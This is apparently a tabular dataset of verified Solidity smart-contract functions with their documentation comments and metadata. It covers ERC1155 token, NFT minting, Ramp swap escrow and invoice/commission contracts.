contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
... | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _mintBatch | function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operato... | /**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
9144,
9884
]
} | 8,807 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
... | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _burn | function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
... | /**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
10129,
10782
]
} | 8,808 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
... | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _burnBatch | function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
... | /**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
10980,
11876
]
} | 8,809 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
... | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _setApprovalForAll | function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
| /**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
12013,
12349
]
} | 8,810 |
SpaceLadiesDao | SpaceLadiesDao.sol | 0xbbc95ec045193c0ab7e3a549b296e66048350cc2 | Solidity | ERC1155 | contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI, Ownable {
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
... | /**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/ | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
| /**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` a... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | None | ipfs://84e93e5764a57e0919fa584a5800574f4946763ffc2cacdecf9f69a7713b5ab3 | {
"func_code_index": [
13300,
13526
]
} | 8,811 |
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint... | setStartingIndex | function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_BEES;
// Just a sanity case in the worst case if this function is ca... | /**
* Set the starting index for the collection
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5474,
6145
]
} | 8,812 | ||||
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint... | setStartingIndexBlock | function setStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
| /**
* Set the starting index block for the collection manually
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
6228,
6411
]
} | 8,813 | ||||
Bee | contracts/Bee.sol | 0xbac7ca5103fb00b5a1f3a9fbbc26c3981afe3a75 | Solidity | Bee | contract Bee is ERC721Enumerable, Ownable{
using SafeMath for uint256;
string public DECK;
uint public constant MAX_BEES = 10000;
uint public constant MAX_AIRDROP = 630;
uint256 public constant BEE_PRICE = 50000000000000000; //0.05 ETH
uint256 public PREMINT_TIME;
uint... | updateDates | function updateDates(uint256 newDate) public onlyOwner {
require(newDate > block.timestamp, "Time travel not allowed");
require(newDate < PREMINT_TIME, "Must be earlier");
PREMINT_TIME = newDate;
MINT_TIME = PREMINT_TIME.add(86400); // 1 day from premint
REVEAL_TIME = MINT_TIME.a... | /**
* Just in case we want to update to earlier dates
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
6485,
6879
]
} | 8,814 | ||||
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP71... | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in ea... | NatSpecMultiLine | sendAssetTo | function sendAssetTo(bytes memory assetData, address payable _to) internal returns (bool success);
| /**
* Ensure the described asset is sent to the given address.
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
630,
733
]
} | 8,815 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP71... | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in ea... | NatSpecMultiLine | lockAssetFrom | function lockAssetFrom(bytes memory assetData, address _from) internal returns (bool success);
| /**
* Ensure the described asset is sent to the contract (check `msg.value` for ether,
* do a `transferFrom` for tokens, etc).
* Should revert if the transfer failed, but callers must also handle `false` being returned,
* much like ERC20's `transfer`.
*
* @dev subclasses that don't use ether should mark thi... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1283,
1382
]
} | 8,816 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AssetAdapter | contract AssetAdapter {
uint16 public ASSET_TYPE;
bytes32 internal EIP712_SWAP_TYPEHASH;
bytes32 internal EIP712_ASSET_TYPEHASH;
constructor(
uint16 assetType,
bytes32 swapTypehash,
bytes32 assetTypehash
) internal {
ASSET_TYPE = assetType;
EIP71... | /**
* Abstract class for an asset adapter -- a class handling the binary asset description,
* encapsulating the asset-specific transfer logic.
* The `assetData` bytes consist of a 2-byte (uint16) asset type, followed by asset-specific data.
* The asset type bytes must be equal to the `ASSET_TYPE` constant in ea... | NatSpecMultiLine | getAssetTypedHash | function getAssetTypedHash(bytes memory data) internal view returns (bytes32);
| /**
* Returns the EIP712 hash of the handled asset data struct.
* See `getAssetTypedHash` in the subclasses for asset struct type description.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1554,
1637
]
} | 8,817 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | EthAdapter | contract EthAdapter is AssetAdapter {
uint16 internal constant ETH_TYPE_ID = 1;
// the hashes are generated using `genTypeHashes` from `eip712.swaps`
constructor() internal AssetAdapter(
ETH_TYPE_ID,
0x3f5e83ffc9f619035e6bbc5b772db010a6ea49213f31e8a5d137b6cebf8d19c7,
0x4edc... | /**
* An adapter for handling ether swaps.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getAmount | function getAmount(bytes memory assetData) internal pure returns (uint256 amount) {
// solium-disable-next-line security/no-inline-assembly
assembly {
amount := mload(add(assetData, 34))
}
}
| /**
* @dev byte offsets, byte length & contents for ether asset data:
* +00 32 uint256 data length (== 0x22 == 34 bytes)
* +32 2 uint16 asset type (== 1)
* +34 32 uint256 ether amount in wei
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
630,
870
]
} | 8,818 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | EthAdapter | contract EthAdapter is AssetAdapter {
uint16 internal constant ETH_TYPE_ID = 1;
// the hashes are generated using `genTypeHashes` from `eip712.swaps`
constructor() internal AssetAdapter(
ETH_TYPE_ID,
0x3f5e83ffc9f619035e6bbc5b772db010a6ea49213f31e8a5d137b6cebf8d19c7,
0x4edc... | /**
* An adapter for handling ether swaps.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | getAssetTypedHash | function getAssetTypedHash(bytes memory data) internal view returns (bytes32) {
return keccak256(
abi.encode(
EIP712_ASSET_TYPEHASH,
getAmount(data)
)
);
}
| /**
* Returns the EIP712 hash of the eth asset data struct:
* EIP712EthAsset {
* ethAmount: uint256;
* }
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
1538,
1781
]
} | 8,819 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | create | function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 sw... | /**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from cre... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
2537,
3750
]
} | 8,820 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | claim | function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = g... | /**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's addr... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
4596,
6397
]
} | 8,821 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | release | function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle,... | /**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the par... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
6848,
7693
]
} | 8,822 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | returnFunds | function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracl... | /**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's has... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
8053,
8907
]
} | 8,823 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | setBuyer | function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender,... | /**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
9251,
10029
]
} | 8,824 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | getSwapStatus | function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
... | /**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was cl... | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
10455,
10861
]
} | 8,825 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | getSwapHash | function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
... | /**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
10970,
11356
]
} | 8,826 | |
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
ui... | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto a... | NatSpecMultiLine | getClaimTypedHash | function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
... | /**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
11685,
12302
]
} | 8,827 | |
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Owned | contract Owned {
/**
* Contract owner address
*/
address public owner;
/**
* @dev Store owner on creation
*/
function Owned() { owner = msg.sender; }
/**
* @dev Delegate contract to another person
* @param _owner is another person address
*/
fu... | /**
* @title Contract for object that have an owner
*/ | NatSpecMultiLine | Owned | function Owned() { owner = msg.sender; }
| /**
* @dev Store owner on creation
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
151,
196
]
} | 8,828 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Owned | contract Owned {
/**
* Contract owner address
*/
address public owner;
/**
* @dev Store owner on creation
*/
function Owned() { owner = msg.sender; }
/**
* @dev Delegate contract to another person
* @param _owner is another person address
*/
fu... | /**
* @title Contract for object that have an owner
*/ | NatSpecMultiLine | delegate | function delegate(address _owner) onlyOwner
{ owner = _owner; }
| /**
* @dev Delegate contract to another person
* @param _owner is another person address
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
314,
387
]
} | 8,829 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Mortal | contract Mortal is Owned {
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can kill me
*/
function kill() onlyOwner
{ suicide(owner); }
} | /**
* @title Contract for objects that can be morder
*/ | NatSpecMultiLine | kill | function kill() onlyOwner
{ suicide(owner); }
| /**
* @dev Destroy contract and scrub a data
* @notice Only owner can kill me
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
132,
187
]
} | 8,830 | ||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Comission | contract Comission is Mortal {
address public ledger;
bytes32 public taxman;
uint public taxPerc;
/**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
... | Comission | function Comission(address _ledger, bytes32 _taxman, uint _taxPerc) {
ledger = _ledger;
taxman = _taxman;
taxPerc = _taxPerc;
}
| /**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
325,
491
]
} | 8,831 | ||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Comission | contract Comission is Mortal {
address public ledger;
bytes32 public taxman;
uint public taxPerc;
/**
* @dev Comission contract constructor
* @param _ledger Processing ledger contract
* @param _taxman Tax receiver account
* @param _taxPerc Processing tax in percent
... | process | function process(bytes32 _destination) payable returns (bool) {
// Handle value below 100 isn't possible
if (msg.value < 100) throw;
var tax = msg.value * taxPerc / 100;
var refill = bytes4(sha3("refill(bytes32)"));
if ( !ledger.call.value(tax)(refill, taxman)
|| !ledger.call.value(m... | /**
* @dev Refill ledger with comission
* @param _destination Destination account
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
602,
1038
]
} | 8,832 | ||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
* @dev Offer type contract
* @param _comission Comission handler addre... | Invoice | function Invoice(address _comission,
string _description,
bytes32 _beneficiary,
uint _value) {
comission = Comission(_comission);
description = _description;
beneficiary = _beneficiary;
value = _value;
}
| /**
* @dev Offer type contract
* @param _comission Comission handler address
* @param _description Deal description
* @param _beneficiary Beneficiary account
* @param _value Deal value
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
459,
786
]
} | 8,833 | ||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
* @dev Offer type contract
* @param _comission Comission handler addre... | withdraw | function withdraw() onlyOwner {
if (closeBlock != 0) {
if (!comission.process.value(value)(beneficiary)) throw;
}
}
| /**
* @dev Call me to withdraw money
*/ | NatSpecMultiLine | v0.4.4+commit.4633f3de | {
"func_code_index": [
846,
1002
]
} | 8,834 | ||||
BuilderInvoice | BuilderInvoice.sol | 0x66a8cc4cddd86a3d6ac34f553dd250983fee3fd4 | Solidity | Invoice | contract Invoice is Mortal {
address public signer;
uint public closeBlock;
Comission public comission;
string public description;
bytes32 public beneficiary;
uint public value;
/**
